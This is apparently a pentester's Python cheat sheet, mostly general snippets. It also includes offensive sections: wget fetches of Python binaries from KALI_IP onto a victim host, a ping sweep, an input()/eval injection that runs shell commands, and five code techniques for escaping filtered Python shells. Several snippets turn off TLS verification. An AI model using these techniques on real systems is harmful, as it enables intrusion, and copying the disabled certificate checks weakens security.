Cheat sheet and tricks for the Python programming language.
Use Bandit for static code analysis (SAST) of Python applications.
See Flask for Python web application framework.
For Python Pickle, see Object Injection / Insecure Deserialization.
IDE
Online IDE
Visual Studio Code
To increase the output history, open File-Preferences->Settings and search for:
terminal.integrated.scrollback
Installation
Install Python on Windows
NOT TESTED
python-3.6.0.exe /quiet InstallAllUsers=1 PrependPath=1 Include_test=0
Upload Python on victim (Linux)
Need the binary AND the zip file (do not uncompress).
https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/python2.7
https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/python2.7.zip
wget http://KALI_IP/python2.7
wget http://KALI_IP/python2.7.zip
export PYTHONPATH=/home/<username>/python2.7.zip
export PYTHONHOME=/home/<username>/python2.7.zip
chmod u+x python2.7
./python2.7
./python2.7 -m SimpleHTTPServer 80
Install packages
pip install <package name>
For current user only
pip install --user <package name>
CERTIFICATE_VERIFY_FAILED
pip --cert "C:\Users\<path>\certificate.pem" --proxy http://proxy.example.com:8080 install <package name>
pip --cert "C:\Users\<path>\certificate.pem" --proxy http://proxy.example.com:8080 install --trusted-host pypi.org --trusted-host files.pythonhosted.org <package name>
List installed packages
pip list
Fix SSL certificate errors within Python scripts
export PYTHONHTTPSVERIFY=0
Virtual environments
Create a virtual environment
python3 -m venv /home/kali/ROADtools/.venv
Install in the virtual environment
/home/kali/ROADtools/.venv/bin/pip install setuptools
Execute from the virtual environment
/home/kali/ROADtools/.venv/bin/roadtx
Loops
For Loop
for i in range(8):
for j in range(8):
print('# ', end='')
print('')
HTTP Requests
Follows redirects!
import requests
# Remove warnings: InsecureRequestWarning: Unverified HTTPS request
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
# Intercept requests using Burp :)
#proxies = None
proxies = {
'http': 'http://127.0.0.1:8080',
'https': 'http://127.0.0.1:8080'
}
headers = {
'Custom-header1': 'value1',
'Custom-header2': 'value2',
'Content-Type': 'application/json'
}
url = "https://url:port/api/apiname"
payload="{ \"key1\" : \"value1\",\"key2\":\"value2\"}"
response = requests.request("POST", url, headers=headers, data=payload, verify=False, proxies=proxies, cert=('/path/certif.cer', '/path/certif.key'))
print("RESPONSE")
print(response.headers)
print(response.cookies)
#print(response.cookies['sessionid'])
print(response.text)
if "some string" in response.text:
print("string found in response")
else:
print("string not found in response")
Using threads
import requests
from concurrent.futures import ThreadPoolExecutor, as_completed
def send_request(url):
response = requests.get(url)
return response.status_code
urls = ['http://example.com' for _ in range(100)] # Replace with your URLs
# Use ThreadPoolExecutor to send requests in parallel
with ThreadPoolExecutor(max_workers=10) as executor:
# Submit each URL to the executor
futures = []
for url in urls:
futures.append(executor.submit(send_request, url))
# Iterate over completed futures to get results
for future in as_completed(futures):
try:
status_code = future.result()
print(f"Response from {future}: {status_code}")
except Exception as e:
print(f"Request for {future} raised an exception: {e}")
import threading
import time
def task(name, duration, results, index):
try:
for i in range(5):
print(f"{name} - Iteration {i + 1}")
time.sleep(duration) # Simulate task taking time based on the argument
# After completing the task, return True for success
results[index] = True
except Exception as e:
# If an error occurs, return False
print(f"{name} failed: {e}")
results[index] = False
# List to hold the return values from each thread
results = [None, None] # Two elements for two threads
# Create two threads that run the same task with different arguments
thread1 = threading.Thread(target=task, args=("Task 1", 1, results, 0)) # Task 1
thread2 = threading.Thread(target=task, args=("Task 2", 1.5, results, 1)) # Task 2
# Start both threads
thread1.start()
thread2.start()
# Wait for both threads to complete
thread1.join()
thread2.join()
# Check the return values (True for success, False for failure)
print(f"Task 1 success: {results[0]}")
print(f"Task 2 success: {results[1]}")
print("Both tasks have completed.")
Using sessions
import requests
# Remove warnings: InsecureRequestWarning: Unverified HTTPS request
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
url = "https://httpbin.org/get"
# Intercept requests using Burp :)
proxies = None
#proxies = {
# 'http': 'http://127.0.0.1:8080',
# 'https': 'http://127.0.0.1:8080'
#}
headers = {
'Custom-header1': 'value1',
'Custom-header2': 'value2',
'Content-Type': 'application/json'
}
# Send an HTTP request
def send_request(url, method="GET", payload=""):
if method == "POST":
return session.post(url, headers=headers, proxies = proxies, verify=False, data=payload)
else:
return session.get(url, headers = headers, proxies = proxies, verify=False)
response = send_request(url)
print(response.text)
#payload="{ \"key1\" : \"value1\",\"key2\":\"value2\"}"
#response = send_request(url, "POST", payload)
#print(response.text)
Handling Kerberos and NTLM authentication
Microsoft IIS can response with HTTP 401 Unauthorized and the WWW-Authenticate header (Windows SSPI):
- WWW-Authenticate: Basic: Authorization: Basic + token – Use for basic authentication
- WWW-Authenticate: NTLM: Authorization: NTLM + token (2 challenges)
- WWW-Authenticate: Negotiate: Authorization: Negotiate + token – used for Kerberos authentication
import requests
from requests_negotiate_sspi import HttpNegotiateAuth
# Remove warnings: InsecureRequestWarning: Unverified HTTPS request
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
# Replace with the resource URL you want to access
url = "https://domain/some-resource"
# Make the request with Negotiate (supports Kerberos and NTLM)
# Some NTLM auth can fail if the same session is reused for many URLs
# due to how NTLM handles state. Create a new session for each request.
with requests.Session() as session:
session.auth = HttpNegotiateAuth()
response = session.get(url, verify=False)
# Check the response status
if response.status_code == 200:
print("Access successful!")
print("Response content:", response.text)
else:
print("Failed to access resource. Status code:", response.status_code)
import requests
from requests_ntlm import HttpNtlmAuth
import getpass
# Remove warnings: InsecureRequestWarning: Unverified HTTPS request
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
# Replace with the resource URL you want to access
url = "https://domain/some-resource"
# Ask for user input
email = input("Enter your email: ")
password = getpass.getpass("Enter your password: ")
# Make the request using NTLM authentication
response = requests.get(url, verify=False, auth=HttpNtlmAuth(email, password))
Extract values from JSON response
key1=response.json()['key1']
key1=response.json()['key2']
return key1, key2 # returns a tuple, results[0], results[1], ...
# {"title":"My first book","ISBN":"...","authors":[{"firstname":"Bob", "lastname":"Foo"}, {"firstname":"Alice", "lastname":"Smith"}]}
for author in response.json()['authors']:
for field in author:
print(field + ': ' + author[field])
In a function
def send_request(url):
print(url)
...
send_request('https://example.com')
send_request('https://example.com/whatever')
Regular expressions
- Official Documentation
- Python Regex Cheatsheet (Debuggex)
import re
mystring = 'This is my super long string.'
x = re.search('my.*long', mystring)
if x:
extracted_string=str(x.group()).split(" ")[-2]
print(extracted_string)
else:
print('ERROR: string could not be extracted.')
List of special characters, escaped for regex use
specials = ['\\.','\\^','\\$','\\*','\\+','\\?','\\(','\\)','\\[','\\]','\\{','\\}','\\|','\\\\','\\-','\\~','\\:','_','@',',','&','!','"',"'",' ']
Dates
import datetime
print('Date: ' + str(datetime.datetime.now()))
“Year”-“Month”-“Day”.”Hour”h”Minute”
See Python strftime cheatsheet (strftime.org).
now = datetime.datetime.now().strftime("%Y-%m-%d.%Hh%M")
print(now)
import time
now = time.time()
print(time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(now)) + ' (epoch: ' + str(now) + ')')
Encoding
The utf-8 encoding/decoding is to remove the “b” added in front of base 64 encoded strings
import base64
print(base64.b64encode(bytes('This is the string to encode', 'utf-8')).decode('utf-8'))
Data Masking
def mask(data, chars_to_keep = 4, mask_left = True):
datalen = len(data)
if mask_left:
# Mask the left part, e.g. mask("12345", 2) = "***45"
masked = "*" * (datalen - chars_to_keep) + data[0 - chars_to_keep:]
else:
# Mask the right part, e.g. mask("12345", 2, mask_left = False) = "12***"
masked = data[0:chars_to_keep] + "*" * (datalen - chars_to_keep)
return masked
print(mask("This is a test")) # **********test
print(mask("This is a test", 6)) # ********a test
print(mask("This is a test", 6, mask_left=False)) # This i********
System calls
#!/usr/bin/python
import sys # Access command-line arguments
import os # Run os commands
# If the wrong number of arguments was provided
if len(sys.argv) != 2:
print("Usage:")
print("python ping_sweep.py IP")
print("Example:")
print("python ping_sweep.py 10.11.1.0")
print("python ping_sweep.py 10.0.2.0")
# If the right number of argument was provided
else:
IP_PREFIX = str(sys.argv[1]).split(".")[0] + "." + str(sys.argv[1]).split(".")[1] + "." + str(sys.argv[1]).split(".")[2] + "."
for i in range(1, 255):
os.system('ping -c 1 ' + IP_PREFIX + str(i) + ' | grep "bytes from" | cut -d " " -f 4 | cut -d ":" -f 1 &')
Reading files
#!/usr/bin/python
try:
file1 = open('file.txt', 'r')
for line in file1:
print(line.strip('\n'))
file1.close
except IOError:
print("Could not read file.")
Exceptions
try:
a = 1/0
except Exception as e:
print(e)
Read password (no echo)
import getpass
passwd = getpass.getpass()
LDAP
#!/usr/bin/python3
#------------------------------------------------------------------------------
# Author : Lisandre.com
# Prereq : Python ldap3, https://ldap3.readthedocs.io/en/latest/
# pip3 install --user ldap3
#------------------------------------------------------------------------------
from ldap3 import Server, Connection, ALL, NTLM
hostname = 'ldap://DC01.example.com'
username = 'EXAMPLE\\user01'
password = 'MyPreciousPassword'
server = Server(hostname, get_info=ALL)
# Open the connection
try:
conn = Connection(server, user=username, password=password, auto_bind=True)
print('INFO: Connected as ' + conn.extend.standard.who_am_i())
except Exception as e:
print('ERROR: ' + e)
Python input function vulnerability
The input function in Python uses the eval function
#!/usr/bin/python
e=input("Enter something: ")
print e
Enter 1+2 and it will display 3...
Enter "a" and will display a. Enter a and it will give an error because a is not defined (interpreted as a variable)
echo '__import("os")__.system("uname -a") ' | python myscript.py
# Example
__import__("os").system("/bin/cat /somepath/somefile > /tmp/test.txt")
cat /tmp/test.txt
Escaping Python shells
Bypass “Python readfunc() that filters dangerous words”.
# https://gist.github.com/MarkBaggett/dd440362f8a443d644b913acadff9499
# Usually "import", "eval", "compile" and "exec" are tightly controlled
# See which ones are controlled
import
eval
exec
compile
### Solution 1 - If import function is available, but some modules were overwritten in memory
# For example, "os" module was rewriten to "stop hacking!"
# Reload the "os" module
import importlib
importlib.reload(os)
os.system("id")
### Solution 2 - If exec function is available, simply break filtered words
exec("imp" + "ort os")
os.system("id")
### Solution 3 - If eval function is available, simply break filtered words
# If __import__("os") is forbidden
os = eval('__im' + 'port__("os")')
os.system("id")
### Solution 4 - If compile function is available
code = compile("im" + "port os", "", "single")
def a():
return
a.__code__ = code
a()
os.system("id")
### Solution 5 - If import, exec, eval, compile functions are blocked
# Create a function in memory on one system and move it to restricted system
# Go to another machine that you control, in a terminal window:
python3
import sys
def makeobject(afunction):
print("Generating a function for version {}.{} (same version as this machine)".format(sys.version_info.major, sys.version_info.minor))
newstr = ""
newstr += "def a():\n"
newstr += " return\n\n"
if sys.version_info.major == 2:
co = afunction.__code__
if sys.version_info.minor not in [5,6,7]:
print("This code has not been tested on this version of python. It may not work.")
newstr += "a.__code__ = type(a.__code__)({0},{1},{2},{3},'{4}',{5},{6},{7},'{8}','{9}',{10},'{11}')".format( co.co_argcount, co.co_nlocals, co.co_stacksize, co.co_flags, co.co_code.encode("string_escape"),co.co_consts, co.co_names, co.co_varnames, co.co_filename, str(co.co_name), co.co_firstlineno, co.co_lnotab.encode("string_escape"))
elif sys.version_info.major == 3:
co = afunction.__code__
if sys.version_info.minor not in [5]:
print("This code has not been tested on this version of python. It may not work.")
newstr += "a.__code__ = type(a.__code__)({0},{1},{2},{3},{4},{5},{6},{7},{8},'{9}','{10}',{11},{12})".format( co.co_argcount, co.co_kwonlyargcount, co.co_nlocals, co.co_stacksize, co.co_flags, co.co_code,co.co_consts, co.co_names, co.co_varnames, co.co_filename, str(co.co_name), co.co_firstlineno, co.co_lnotab)
else:
print("This version of python is not tested and may not work")
print(newstr)
# Create my function
def bypass():
import os
print("BOOM")
print(os.system("id"))
# Take it out of memory on my system to other restricted system
makeobject(bypass)
# Take the output and copy it in the restricted shell (might need to break filter words in it)
a()